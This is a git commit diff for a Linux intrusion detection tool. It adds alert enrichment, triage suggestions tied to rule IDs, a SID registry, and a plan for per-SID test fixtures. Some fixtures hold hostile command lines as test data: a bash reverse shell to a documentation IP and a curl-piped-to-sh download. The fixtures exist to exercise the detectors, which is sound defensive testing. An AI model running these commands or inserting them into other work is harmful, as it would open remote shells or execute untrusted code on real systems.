Add enrichment and SID coverage gates
This commit is contained in:
parent
93ac47dd82
commit
66472134d8
32 changed files with 1623 additions and 31 deletions
4
.gitignore
vendored
4
.gitignore
vendored
|
|
@ -13,6 +13,10 @@ __pycache__/
|
||||||
|
|
||||||
# editor / agent
|
# editor / agent
|
||||||
.claude/
|
.claude/
|
||||||
|
.chainlink/
|
||||||
|
|
||||||
# logs / local test output
|
# logs / local test output
|
||||||
*.log
|
*.log
|
||||||
|
|
||||||
|
# local reference material
|
||||||
|
*.epub
|
||||||
|
|
|
||||||
18
README.md
18
README.md
|
|
@ -324,7 +324,13 @@ sudo systemctl enable --now enodia-sentinel-web
|
||||||
CLI-generated response plans are saved for handoff/review under
|
CLI-generated response plans are saved for handoff/review under
|
||||||
`<log_dir>/response-plans/`, with a JSONL trail in
|
`<log_dir>/response-plans/`, with a JSONL trail in
|
||||||
`<log_dir>/response-audit.log`. Dashboard plan previews stay read-only and do
|
`<log_dir>/response-audit.log`. Dashboard plan previews stay read-only and do
|
||||||
not create artifacts.
|
not create artifacts. Plans also include read-only recovery checks for package
|
||||||
|
verification, rootcheck, persistence re-checks, and off-host watchdog visibility.
|
||||||
|
|
||||||
|
Alert snapshots include a best-effort enrichment block that annotates flagged
|
||||||
|
processes and paths with package ownership, executable hashes, parent chains,
|
||||||
|
remote IP classification, file metadata, recent watched writes, and local
|
||||||
|
integrity/rootcheck anchor status.
|
||||||
|
|
||||||
## Phone push notifications
|
## Phone push notifications
|
||||||
|
|
||||||
|
|
@ -506,14 +512,18 @@ enodia-sentinel triage # classify captured alerts, suggest allowlist entries
|
||||||
[FP ] new_listener x1 loopback-only listener (not externally reachable)
|
[FP ] new_listener x1 loopback-only listener (not externally reachable)
|
||||||
[REVIEW] new_listener x1 unrecognized listener *:1740 (?)
|
[REVIEW] new_listener x1 unrecognized listener *:1740 (?)
|
||||||
...
|
...
|
||||||
To suppress the false positives, add to your config:
|
Suggested TOML after review (Sentinel does not edit config):
|
||||||
# listener_allow_comms += "qbittorrent"
|
# Triage suggestion for sid=100013 classtype=backdoor-listener.
|
||||||
|
# Add only after verifying this 'qbittorrent' activity is expected: package-owned listener.
|
||||||
|
listener_allow_comms = ["qbittorrent"]
|
||||||
```
|
```
|
||||||
|
|
||||||
Triage is deliberately conservative: `reverse_shell`, `egress`, and the eBPF
|
Triage is deliberately conservative: `reverse_shell`, `egress`, and the eBPF
|
||||||
exec rules are **always** flagged review (provenance can't clear a network
|
exec rules are **always** flagged review (provenance can't clear a network
|
||||||
shell), and any listener it *can't* attribute to a process is reviewed rather
|
shell), and any listener it *can't* attribute to a process is reviewed rather
|
||||||
than cleared. Suppression is never automatic — you choose what to allowlist.
|
than cleared. Suppression is never automatic — you choose what to allowlist. When
|
||||||
|
triage can suggest tuning, it emits copyable TOML with the alert `sid` and
|
||||||
|
`classtype` in comments so the reason stays auditable.
|
||||||
|
|
||||||
Knobs to quiet known-good activity:
|
Knobs to quiet known-good activity:
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -324,7 +324,11 @@ enodia-sentinel respond plan <incident-id> --json
|
||||||
Builds a dry-run response plan from an incident's retained JSON snapshots. The
|
Builds a dry-run response plan from an incident's retained JSON snapshots. The
|
||||||
plan may include evidence preservation, process freeze/terminate candidates,
|
plan may include evidence preservation, process freeze/terminate candidates,
|
||||||
outbound IP blocks, systemd unit disablement, suspicious-file quarantine,
|
outbound IP blocks, systemd unit disablement, suspicious-file quarantine,
|
||||||
package-restore lookup, and follow-up verification checks.
|
package-restore lookup, and follow-up verification checks. Recovery checks stay
|
||||||
|
read-only too: plans can ask the operator to re-run `fim-check --packages`,
|
||||||
|
verify package files with `pkgdb-verify`, re-run `rootcheck`, confirm
|
||||||
|
persistence alerts are gone with `check --json`, and run `watchdog` from another
|
||||||
|
host to prove the heartbeat/dashboard path is visible.
|
||||||
|
|
||||||
This command is intentionally read-only: it prints commands for operator review
|
This command is intentionally read-only: it prints commands for operator review
|
||||||
and never executes them. Each CLI-generated plan is also saved under
|
and never executes them. Each CLI-generated plan is also saved under
|
||||||
|
|
@ -405,7 +409,9 @@ enodia-sentinel triage
|
||||||
|
|
||||||
Reads captured alert JSON snapshots and classifies distinct findings as likely
|
Reads captured alert JSON snapshots and classifies distinct findings as likely
|
||||||
false positive or review-needed. It suggests config snippets for known benign
|
false positive or review-needed. It suggests config snippets for known benign
|
||||||
noise but never edits config automatically.
|
noise but never edits config automatically. Suggestions are TOML snippets and
|
||||||
|
include the source alert `sid` and `classtype` in comments for review/audit
|
||||||
|
context.
|
||||||
|
|
||||||
### `watchdog`
|
### `watchdog`
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -76,9 +76,9 @@ Purpose: move from "tell me" to "help me act" without unsafe automation.
|
||||||
fingerprint-bound (content kinds re-alert on further change), support an
|
fingerprint-bound (content kinds re-alert on further change), support an
|
||||||
optional TTL, and are filtered at the daemon chokepoint, `fim-check`, and the
|
optional TTL, and are filtered at the daemon chokepoint, `fim-check`, and the
|
||||||
dashboard integrity API.
|
dashboard integrity API.
|
||||||
- Add richer false-positive suppression suggestions that can emit TOML snippets
|
- ✅ Add richer false-positive suppression suggestions that can emit TOML snippets
|
||||||
but never modify config automatically.
|
but never modify config automatically.
|
||||||
- Add recovery checks:
|
- ✅ Add recovery checks:
|
||||||
"verify package", "re-run rootcheck", "confirm no persistence diff", and
|
"verify package", "re-run rootcheck", "confirm no persistence diff", and
|
||||||
"confirm heartbeat/dashboard visible from watchdog".
|
"confirm heartbeat/dashboard visible from watchdog".
|
||||||
|
|
||||||
|
|
@ -173,12 +173,12 @@ turning Sentinel into a noisy rules dump.
|
||||||
custom event rules against captured or fixture events.
|
custom event rules against captured or fixture events.
|
||||||
- ✅ Generate rule documentation from source defaults: SID, signature, classtype,
|
- ✅ Generate rule documentation from source defaults: SID, signature, classtype,
|
||||||
event type, match fields, expected false positives, and drill coverage.
|
event type, match fields, expected false positives, and drill coverage.
|
||||||
- Require a fixture or safe red-team drill for every built-in SID, including
|
- ✅ Require a fixture or safe red-team drill for every built-in SID, including
|
||||||
event-only and correlation SIDs.
|
event-only and correlation SIDs.
|
||||||
- Add compatibility tests for rule JSON/event schema evolution.
|
- Add compatibility tests for rule JSON/event schema evolution.
|
||||||
- Extend triage so false-positive suggestions are tied to SID/classtype and can
|
- ✅ Extend triage so false-positive suggestions are tied to SID/classtype and can
|
||||||
emit TOML snippets for allowlists, correlation windows, or severity overrides.
|
emit TOML snippets for allowlists, correlation windows, or severity overrides.
|
||||||
- Add post-alert enrichment consistently across detections:
|
- ✅ Add post-alert enrichment consistently across detections:
|
||||||
package owner, executable hash, parent/ancestor chain, remote IP
|
package owner, executable hash, parent/ancestor chain, remote IP
|
||||||
classification, file mode/owner, recent writes by same lineage, and current
|
classification, file mode/owner, recent writes by same lineage, and current
|
||||||
FIM/package/rootcheck status.
|
FIM/package/rootcheck status.
|
||||||
|
|
|
||||||
|
|
@ -4,6 +4,11 @@ Generated from the active exec/syscall rule defaults plus any configured `exec_r
|
||||||
|
|
||||||
Use `enodia-sentinel rules list/show/test` to inspect rules and validate event fixtures locally.
|
Use `enodia-sentinel rules list/show/test` to inspect rules and validate event fixtures locally.
|
||||||
|
|
||||||
|
Built-in event-rule fixtures live in `tests/fixtures/sids/` and can be replayed
|
||||||
|
with `enodia-sentinel rules test tests/fixtures/sids/<sid>-<slug>.json`.
|
||||||
|
Non-event built-in SIDs are covered by safe offline drills in `tests/sid_drills.py`;
|
||||||
|
`python3 -m unittest tests.test_sid_coverage -v` verifies the full registry.
|
||||||
|
|
||||||
## SID 100001: Program executed from a world-writable directory
|
## SID 100001: Program executed from a world-writable directory
|
||||||
|
|
||||||
- Event: `exec`
|
- Event: `exec`
|
||||||
|
|
|
||||||
|
|
@ -44,6 +44,7 @@ Required fields:
|
||||||
| `incident_id` | string or null | Incident grouping id, when enabled. |
|
| `incident_id` | string or null | Incident grouping id, when enabled. |
|
||||||
| `alerts` | array | `enodia.alert.v1` objects. |
|
| `alerts` | array | `enodia.alert.v1` objects. |
|
||||||
| `processes` | array | Captured process context for alert PIDs. |
|
| `processes` | array | Captured process context for alert PIDs. |
|
||||||
|
| `enrichment` | object | Best-effort post-alert context: package ownership, executable hashes, parent chain, remote IP classification, file metadata, recent watched writes, and local integrity/rootcheck anchor status. |
|
||||||
|
|
||||||
## `enodia.incident.v1`
|
## `enodia.incident.v1`
|
||||||
|
|
||||||
|
|
|
||||||
384
docs/superpowers/plans/2026-07-04-sid-drill-coverage.md
Normal file
384
docs/superpowers/plans/2026-07-04-sid-drill-coverage.md
Normal file
|
|
@ -0,0 +1,384 @@
|
||||||
|
# SID Drill Coverage Implementation Plan
|
||||||
|
|
||||||
|
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
|
||||||
|
|
||||||
|
**Goal:** Every built-in SID has a fixture or drill that provably emits it, enforced by an emission-based coverage gate that fails CI when a new detection lands without one.
|
||||||
|
|
||||||
|
**Architecture:** A new `enodia_sentinel/sids.py` registry aggregates all 52 built-in SIDs (importing existing constants; inline detector SIDs are tabulated with a sanity test cross-checking the engines). Event-rule SIDs get JSON fixtures under `tests/fixtures/sids/` replayable via `rules test`; all other engines get per-SID drill callables in `tests/sid_drills.py` that invoke the real engine code against fakes. `tests/test_sid_coverage.py` runs everything and asserts emitted sids == registry, both directions.
|
||||||
|
|
||||||
|
**Tech Stack:** Python 3.11+ stdlib, `unittest`, existing fake styles (FakeProc/SystemState injection, rootcheck view monkeypatching, temp dirs).
|
||||||
|
|
||||||
|
## Global Constraints
|
||||||
|
|
||||||
|
- Core `enodia_sentinel` runtime dependencies stay `[]`; no new deps anywhere.
|
||||||
|
- All new files start with `# SPDX-License-Identifier: GPL-3.0-or-later`.
|
||||||
|
- Tests are stdlib `unittest`, run via `python3 -m unittest tests.test_<name> -v`.
|
||||||
|
- No live `/proc`, `/sys`, `ss`, root, or network in drills; everything injected or temp-dir based. (Sole exception: the hidden-process rootcheck drill uses `os.getpid()` so run()'s `os.kill(pid, 0)` re-verification succeeds.)
|
||||||
|
- Do not renumber or move any existing SID constant.
|
||||||
|
- No new config keys.
|
||||||
|
- Work happens in an isolated git worktree; the main checkout has a concurrent session's uncommitted edits (do not touch them).
|
||||||
|
- Run the full suite (`python3 -m unittest discover -s tests`) before each commit.
|
||||||
|
|
||||||
|
## The 52 built-in SIDs
|
||||||
|
|
||||||
|
exec rules 100001–100004 · detectors 100010–100016, 100032, 100033, 100036, 100039, 100048 · fim 100017–100020 · pkgdb 100021, 100026, 100027 · rootcheck 100022–100025, 100028–100031, 100034, 100035, 100037, 100038 · posture 100040–100047, 100050, 100051 · syscall rules 100060–100066
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Task 1: SID registry (`enodia_sentinel/sids.py`)
|
||||||
|
|
||||||
|
**Files:**
|
||||||
|
- Create: `enodia_sentinel/sids.py`
|
||||||
|
- Test: `tests/test_sids.py`
|
||||||
|
|
||||||
|
**Interfaces:**
|
||||||
|
- Produces: `SidInfo` (frozen dataclass: `sid: int`, `name: str`, `engine: str`, `module: str`), `BUILTIN_SIDS: tuple[SidInfo, ...]`, `all_sids() -> frozenset[int]`, `engine_sids(engine: str) -> frozenset[int]`. Engines: `"exec_rule" | "syscall_rule" | "detector" | "fim" | "pkgdb" | "rootcheck" | "posture"`.
|
||||||
|
|
||||||
|
- [x] **Step 1: Write the failing test**
|
||||||
|
|
||||||
|
```python
|
||||||
|
# tests/test_sids.py
|
||||||
|
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||||
|
"""The SID registry is unique, complete, and matches the engine sources."""
|
||||||
|
import unittest
|
||||||
|
|
||||||
|
from enodia_sentinel import fim, pkgdb, posture, rootcheck, sids
|
||||||
|
from enodia_sentinel.detectors import (
|
||||||
|
credential_access, input_snooper, memory_obfuscation, stealth_network,
|
||||||
|
)
|
||||||
|
from enodia_sentinel.events.rules import DEFAULT_EXEC_RULES
|
||||||
|
from enodia_sentinel.events.syscall_rules import DEFAULT_SYSCALL_RULES
|
||||||
|
|
||||||
|
|
||||||
|
class TestRegistry(unittest.TestCase):
|
||||||
|
def test_sids_are_unique(self):
|
||||||
|
nums = [s.sid for s in sids.BUILTIN_SIDS]
|
||||||
|
self.assertEqual(len(nums), len(set(nums)))
|
||||||
|
|
||||||
|
def test_count_and_helpers(self):
|
||||||
|
self.assertEqual(len(sids.BUILTIN_SIDS), 52)
|
||||||
|
self.assertEqual(sids.all_sids(),
|
||||||
|
frozenset(s.sid for s in sids.BUILTIN_SIDS))
|
||||||
|
self.assertEqual(sids.engine_sids("exec_rule"),
|
||||||
|
frozenset({100001, 100002, 100003, 100004}))
|
||||||
|
|
||||||
|
def test_event_rule_sids_match_engines(self):
|
||||||
|
self.assertEqual(sids.engine_sids("exec_rule"),
|
||||||
|
frozenset(r.sid for r in DEFAULT_EXEC_RULES))
|
||||||
|
self.assertEqual(sids.engine_sids("syscall_rule"),
|
||||||
|
frozenset(r.sid for r in DEFAULT_SYSCALL_RULES))
|
||||||
|
|
||||||
|
def test_registry_uses_the_source_constants(self):
|
||||||
|
by_sid = {s.sid: s for s in sids.BUILTIN_SIDS}
|
||||||
|
for const, engine in (
|
||||||
|
(fim.SID_MODIFIED, "fim"),
|
||||||
|
(pkgdb.SID_PKGDB, "pkgdb"),
|
||||||
|
(rootcheck.SID_HIDDEN_PROC, "rootcheck"),
|
||||||
|
(posture.SID_SSH_ROOT_LOGIN, "posture"),
|
||||||
|
(input_snooper.SID_INPUT_SNOOPER, "detector"),
|
||||||
|
(credential_access.SID_CREDENTIAL_ACCESS, "detector"),
|
||||||
|
(stealth_network.SID_STEALTH_NETWORK, "detector"),
|
||||||
|
(memory_obfuscation.SID_PROCESS_HIDING_LIBRARY, "detector"),
|
||||||
|
):
|
||||||
|
self.assertIn(const, by_sid)
|
||||||
|
self.assertEqual(by_sid[const].engine, engine)
|
||||||
|
|
||||||
|
def test_every_entry_has_name_and_module(self):
|
||||||
|
for s in sids.BUILTIN_SIDS:
|
||||||
|
self.assertTrue(s.name)
|
||||||
|
self.assertTrue(s.module.startswith("enodia_sentinel"))
|
||||||
|
```
|
||||||
|
|
||||||
|
- [x] **Step 2: Run test to verify it fails**
|
||||||
|
|
||||||
|
Run: `python3 -m unittest tests.test_sids -v`
|
||||||
|
Expected: FAIL — missing `tests.test_sids` / `enodia_sentinel.sids`.
|
||||||
|
|
||||||
|
- [x] **Step 3: Implement `sids.py`**
|
||||||
|
|
||||||
|
```python
|
||||||
|
# enodia_sentinel/sids.py
|
||||||
|
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||||
|
"""Canonical registry of every built-in SID.
|
||||||
|
|
||||||
|
Aggregates the constants where they are defined (nothing is renumbered or
|
||||||
|
moved). The seven core poll detectors carry their sid inline in the Alert
|
||||||
|
they build, so those rows are tabulated here and cross-checked by
|
||||||
|
tests/test_sids.py and the emission gate in tests/test_sid_coverage.py.
|
||||||
|
"""
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
from dataclasses import dataclass
|
||||||
|
|
||||||
|
from . import fim, pkgdb, posture, rootcheck
|
||||||
|
from .detectors import (
|
||||||
|
credential_access, input_snooper, memory_obfuscation, stealth_network,
|
||||||
|
)
|
||||||
|
from .events.rules import DEFAULT_EXEC_RULES
|
||||||
|
from .events.syscall_rules import DEFAULT_SYSCALL_RULES
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class SidInfo:
|
||||||
|
sid: int
|
||||||
|
name: str
|
||||||
|
engine: str # exec_rule|syscall_rule|detector|fim|pkgdb|rootcheck|posture
|
||||||
|
module: str
|
||||||
|
|
||||||
|
|
||||||
|
def _rule_rows(rules, engine: str, module: str) -> tuple[SidInfo, ...]:
|
||||||
|
return tuple(
|
||||||
|
SidInfo(r.sid, f"{engine}.{r.classtype}", engine, module)
|
||||||
|
for r in rules
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
_DETECTORS = "enodia_sentinel.detectors"
|
||||||
|
|
||||||
|
BUILTIN_SIDS: tuple[SidInfo, ...] = (
|
||||||
|
*_rule_rows(DEFAULT_EXEC_RULES, "exec_rule",
|
||||||
|
"enodia_sentinel.events.rules"),
|
||||||
|
*_rule_rows(DEFAULT_SYSCALL_RULES, "syscall_rule",
|
||||||
|
"enodia_sentinel.events.syscall_rules"),
|
||||||
|
# Core poll detectors (sids inline in each module's Alert).
|
||||||
|
SidInfo(100010, "reverse_shell", "detector", f"{_DETECTORS}.reverse_shell"),
|
||||||
|
SidInfo(100011, "ld_preload", "detector", f"{_DETECTORS}.ld_preload"),
|
||||||
|
SidInfo(100012, "deleted_exe", "detector", f"{_DETECTORS}.deleted_exe"),
|
||||||
|
SidInfo(100013, "new_listener", "detector", f"{_DETECTORS}.new_listener"),
|
||||||
|
SidInfo(100014, "new_suid", "detector", f"{_DETECTORS}.new_suid"),
|
||||||
|
SidInfo(100015, "persistence", "detector", f"{_DETECTORS}.persistence"),
|
||||||
|
SidInfo(100016, "egress", "detector", f"{_DETECTORS}.egress"),
|
||||||
|
SidInfo(input_snooper.SID_INPUT_SNOOPER, "input_snooper", "detector",
|
||||||
|
f"{_DETECTORS}.input_snooper"),
|
||||||
|
SidInfo(credential_access.SID_CREDENTIAL_ACCESS, "credential_access",
|
||||||
|
"detector", f"{_DETECTORS}.credential_access"),
|
||||||
|
SidInfo(stealth_network.SID_STEALTH_NETWORK, "stealth_network",
|
||||||
|
"detector", f"{_DETECTORS}.stealth_network"),
|
||||||
|
SidInfo(memory_obfuscation.SID_MEMORY_OBFUSCATION, "memory_obfuscation",
|
||||||
|
"detector", f"{_DETECTORS}.memory_obfuscation"),
|
||||||
|
SidInfo(memory_obfuscation.SID_PROCESS_HIDING_LIBRARY,
|
||||||
|
"process_hiding_library", "detector",
|
||||||
|
f"{_DETECTORS}.memory_obfuscation"),
|
||||||
|
# File & package integrity.
|
||||||
|
SidInfo(fim.SID_MODIFIED, "fim_modified", "fim", "enodia_sentinel.fim"),
|
||||||
|
SidInfo(fim.SID_ADDED, "fim_added", "fim", "enodia_sentinel.fim"),
|
||||||
|
SidInfo(fim.SID_REMOVED, "fim_removed", "fim", "enodia_sentinel.fim"),
|
||||||
|
SidInfo(fim.SID_PKG, "pkg_verify_mismatch", "fim", "enodia_sentinel.fim"),
|
||||||
|
SidInfo(pkgdb.SID_PKGDB, "pkgdb_tamper", "pkgdb", "enodia_sentinel.pkgdb"),
|
||||||
|
SidInfo(pkgdb.SID_SIGLEVEL, "pacman_siglevel_disabled", "pkgdb",
|
||||||
|
"enodia_sentinel.pkgdb"),
|
||||||
|
SidInfo(pkgdb.SID_PKGVERIFY, "pkg_signature_mismatch", "pkgdb",
|
||||||
|
"enodia_sentinel.pkgdb"),
|
||||||
|
# Rootcheck.
|
||||||
|
SidInfo(rootcheck.SID_HIDDEN_PROC, "rootkit_hidden_process", "rootcheck",
|
||||||
|
"enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_HIDDEN_MODULE, "rootkit_hidden_module", "rootcheck",
|
||||||
|
"enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_HIDDEN_PORT, "rootkit_hidden_port", "rootcheck",
|
||||||
|
"enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_PROMISC, "promiscuous_interface", "rootcheck",
|
||||||
|
"enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_KNOWN_ROOTKIT_MODULE, "rootkit_known_module",
|
||||||
|
"rootcheck", "enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_TAINTED_MODULE, "rootkit_tainted_module",
|
||||||
|
"rootcheck", "enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_KERNEL_TAINTED, "kernel_tainted", "rootcheck",
|
||||||
|
"enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_HIDDEN_UDP_PORT, "rootkit_hidden_udp_port",
|
||||||
|
"rootcheck", "enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_HIDDEN_RAW_SOCKET, "rootkit_hidden_raw_socket",
|
||||||
|
"rootcheck", "enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_RAW_ICMP_SOCKET, "raw_icmp_socket", "rootcheck",
|
||||||
|
"enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_HIDDEN_PROTOCOL_SOCKET,
|
||||||
|
"rootkit_hidden_protocol_socket", "rootcheck",
|
||||||
|
"enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_PS_HIDDEN_PROCESS, "rootkit_ps_hidden_process",
|
||||||
|
"rootcheck", "enodia_sentinel.rootcheck"),
|
||||||
|
# Posture.
|
||||||
|
SidInfo(posture.SID_SSH_ROOT_LOGIN, "ssh_root_login", "posture",
|
||||||
|
"enodia_sentinel.posture"),
|
||||||
|
SidInfo(posture.SID_SSH_PASSWORD_AUTH, "ssh_password_auth", "posture",
|
||||||
|
"enodia_sentinel.posture"),
|
||||||
|
SidInfo(posture.SID_SSH_EMPTY_PASSWORD, "ssh_empty_password", "posture",
|
||||||
|
"enodia_sentinel.posture"),
|
||||||
|
SidInfo(posture.SID_SUDO_NOPASSWD, "sudo_nopasswd", "posture",
|
||||||
|
"enodia_sentinel.posture"),
|
||||||
|
SidInfo(posture.SID_SUDO_NOAUTH, "sudo_no_authenticate", "posture",
|
||||||
|
"enodia_sentinel.posture"),
|
||||||
|
SidInfo(posture.SID_SUDOERS_WRITABLE, "sudoers_writable", "posture",
|
||||||
|
"enodia_sentinel.posture"),
|
||||||
|
SidInfo(posture.SID_PATH_WRITABLE, "path_writable", "posture",
|
||||||
|
"enodia_sentinel.posture"),
|
||||||
|
SidInfo(posture.SID_SENSITIVE_FILE_PERM, "sensitive_file_perm", "posture",
|
||||||
|
"enodia_sentinel.posture"),
|
||||||
|
SidInfo(posture.SID_SYSTEMD_UNIT_WRITABLE, "systemd_unit_writable",
|
||||||
|
"posture", "enodia_sentinel.posture"),
|
||||||
|
SidInfo(posture.SID_SYSTEMD_EXEC_UNSAFE, "systemd_exec_unsafe", "posture",
|
||||||
|
"enodia_sentinel.posture"),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def all_sids() -> frozenset[int]:
|
||||||
|
return frozenset(s.sid for s in BUILTIN_SIDS)
|
||||||
|
|
||||||
|
|
||||||
|
def engine_sids(engine: str) -> frozenset[int]:
|
||||||
|
return frozenset(s.sid for s in BUILTIN_SIDS if s.engine == engine)
|
||||||
|
```
|
||||||
|
|
||||||
|
- [x] **Step 4: Run the test to verify it passes**
|
||||||
|
|
||||||
|
Run: `python3 -m unittest tests.test_sids -v`
|
||||||
|
Expected: PASS (5 tests).
|
||||||
|
|
||||||
|
- [x] **Step 5: Full suite**
|
||||||
|
|
||||||
|
Run: `python3 -m unittest discover -s tests` — all pass.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Task 2: Event fixtures + fixture replay test
|
||||||
|
|
||||||
|
**Files:**
|
||||||
|
- Create: `tests/fixtures/sids/100001-tmp-exec.json` … `100066-mlock.json` (11 files)
|
||||||
|
- Create: `tests/test_sid_coverage.py` (fixture-replay half; the total gate lands in Task 7)
|
||||||
|
|
||||||
|
**Interfaces:**
|
||||||
|
- Consumes: `ruleops.test_event(cfg, event) -> list[Alert]`, `sids.engine_sids()`.
|
||||||
|
- Produces: `tests/fixtures/sids/` naming convention `<sid>-<slug>.json`; helper `fixture_sids() -> dict[int, set[int]]` in `tests/test_sid_coverage.py` mapping each fixture's declared sid to the sids its replay emitted. Task 7 reuses it.
|
||||||
|
|
||||||
|
- [x] **Step 1: Write the failing test**
|
||||||
|
|
||||||
|
```python
|
||||||
|
# tests/test_sid_coverage.py
|
||||||
|
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||||
|
"""Emission-based coverage: every built-in SID has a fixture or drill.
|
||||||
|
|
||||||
|
Event-rule SIDs are covered by JSON fixtures under tests/fixtures/sids/
|
||||||
|
(replayable by operators via `enodia-sentinel rules test <file>`); the other
|
||||||
|
engines are covered by drills in tests/sid_drills.py. This module replays
|
||||||
|
and runs all of them for real and asserts the emitted sids match the
|
||||||
|
registry in enodia_sentinel.sids.
|
||||||
|
"""
|
||||||
|
import json
|
||||||
|
import unittest
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
from enodia_sentinel import ruleops, sids
|
||||||
|
from enodia_sentinel.config import Config
|
||||||
|
|
||||||
|
FIXTURE_DIR = Path(__file__).resolve().parent / "fixtures" / "sids"
|
||||||
|
|
||||||
|
|
||||||
|
def fixture_sids() -> dict[int, set[int]]:
|
||||||
|
"""Replay every fixture; map declared sid -> sids actually emitted."""
|
||||||
|
out: dict[int, set[int]] = {}
|
||||||
|
for path in sorted(FIXTURE_DIR.glob("*.json")):
|
||||||
|
declared = int(path.name.split("-", 1)[0])
|
||||||
|
event = json.loads(path.read_text())
|
||||||
|
alerts = ruleops.test_event(Config(), event)
|
||||||
|
out[declared] = {a.sid for a in alerts}
|
||||||
|
return out
|
||||||
|
|
||||||
|
|
||||||
|
class TestEventFixtures(unittest.TestCase):
|
||||||
|
def test_every_event_rule_sid_has_an_emitting_fixture(self):
|
||||||
|
covered = fixture_sids()
|
||||||
|
wanted = sids.engine_sids("exec_rule") | sids.engine_sids("syscall_rule")
|
||||||
|
for sid in sorted(wanted):
|
||||||
|
self.assertIn(sid, covered,
|
||||||
|
f"no fixture file for sid {sid} in {FIXTURE_DIR}")
|
||||||
|
self.assertIn(sid, covered[sid],
|
||||||
|
f"fixture for sid {sid} did not emit it")
|
||||||
|
|
||||||
|
def test_fixtures_emit_only_registered_sids(self):
|
||||||
|
registry = sids.all_sids()
|
||||||
|
for declared, emitted in fixture_sids().items():
|
||||||
|
self.assertLessEqual(emitted, registry,
|
||||||
|
f"fixture {declared} emitted unregistered sids")
|
||||||
|
```
|
||||||
|
|
||||||
|
- [x] **Step 2: Run test to verify it fails**
|
||||||
|
|
||||||
|
Run: `python3 -m unittest tests.test_sid_coverage -v`
|
||||||
|
Expected: FAIL — no fixture for sid 100001 (empty/missing dir).
|
||||||
|
|
||||||
|
- [x] **Step 3: Create the 11 fixtures**
|
||||||
|
|
||||||
|
`tests/fixtures/sids/100001-tmp-exec.json` — exec from world-writable dir:
|
||||||
|
```json
|
||||||
|
{"event": "exec", "pid": 4242, "ppid": 4100, "uid": 1000,
|
||||||
|
"parent_comm": "bash", "filename": "/tmp/.payload",
|
||||||
|
"argv": []}
|
||||||
|
```
|
||||||
|
|
||||||
|
`tests/fixtures/sids/100002-reverse-shell-argv.json`:
|
||||||
|
```json
|
||||||
|
{"event": "exec", "pid": 4243, "ppid": 4100, "uid": 1000,
|
||||||
|
"parent_comm": "sshd", "filename": "/usr/bin/bash",
|
||||||
|
"argv": ["-c", "bash -i >& /dev/tcp/203.0.113.7/443 0>&1"]}
|
||||||
|
```
|
||||||
|
|
||||||
|
`tests/fixtures/sids/100003-web-shell-spawn.json`:
|
||||||
|
```json
|
||||||
|
{"event": "exec", "pid": 4244, "ppid": 812, "uid": 33,
|
||||||
|
"parent_comm": "nginx", "filename": "/usr/bin/sh",
|
||||||
|
"argv": ["-c", "id"]}
|
||||||
|
```
|
||||||
|
|
||||||
|
`tests/fixtures/sids/100004-curl-pipe-sh.json`:
|
||||||
|
```json
|
||||||
|
{"event": "exec", "pid": 4245, "ppid": 4100, "uid": 1000,
|
||||||
|
"parent_comm": "bash", "filename": "/usr/bin/curl",
|
||||||
|
"argv": ["-fsSL", "http://203.0.113.7/x.sh | sh"]}
|
||||||
|
```
|
||||||
|
|
||||||
|
`tests/fixtures/sids/100060-mprotect-rwx.json` (PROT_READ|WRITE|EXEC = 7):
|
||||||
|
```json
|
||||||
|
{"event": "syscall", "pid": 4250, "ppid": 4100, "uid": 1000,
|
||||||
|
"comm": "loader", "syscall": "mprotect", "args": [140000000, 4096, 7]}
|
||||||
|
```
|
||||||
|
|
||||||
|
`tests/fixtures/sids/100061-mmap-rwx.json`:
|
||||||
|
```json
|
||||||
|
{"event": "syscall", "pid": 4251, "ppid": 4100, "uid": 1000,
|
||||||
|
"comm": "loader", "syscall": "mmap", "args": [0, 4096, 7]}
|
||||||
|
```
|
||||||
|
|
||||||
|
Created and verified:
|
||||||
|
|
||||||
|
- `tests/fixtures/sids/100001-tmp-exec.json`
|
||||||
|
- `tests/fixtures/sids/100002-reverse-shell-argv.json`
|
||||||
|
- `tests/fixtures/sids/100003-web-shell-spawn.json`
|
||||||
|
- `tests/fixtures/sids/100004-curl-pipe-sh.json`
|
||||||
|
- `tests/fixtures/sids/100060-mprotect-rwx.json`
|
||||||
|
- `tests/fixtures/sids/100061-mmap-rwx.json`
|
||||||
|
- `tests/fixtures/sids/100062-memfd-create.json`
|
||||||
|
- `tests/fixtures/sids/100063-ptrace-attach.json`
|
||||||
|
- `tests/fixtures/sids/100064-seccomp.json`
|
||||||
|
- `tests/fixtures/sids/100065-process-vm-readv.json`
|
||||||
|
- `tests/fixtures/sids/100066-mlock.json`
|
||||||
|
|
||||||
|
Run: `python3 -m unittest tests.test_sid_coverage -v` — PASS (2 tests).
|
||||||
|
|
||||||
|
Run: `python3 -m unittest discover -s tests` — PASS (302 tests).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Task 3: Non-event drills + final emission gate
|
||||||
|
|
||||||
|
**Files:**
|
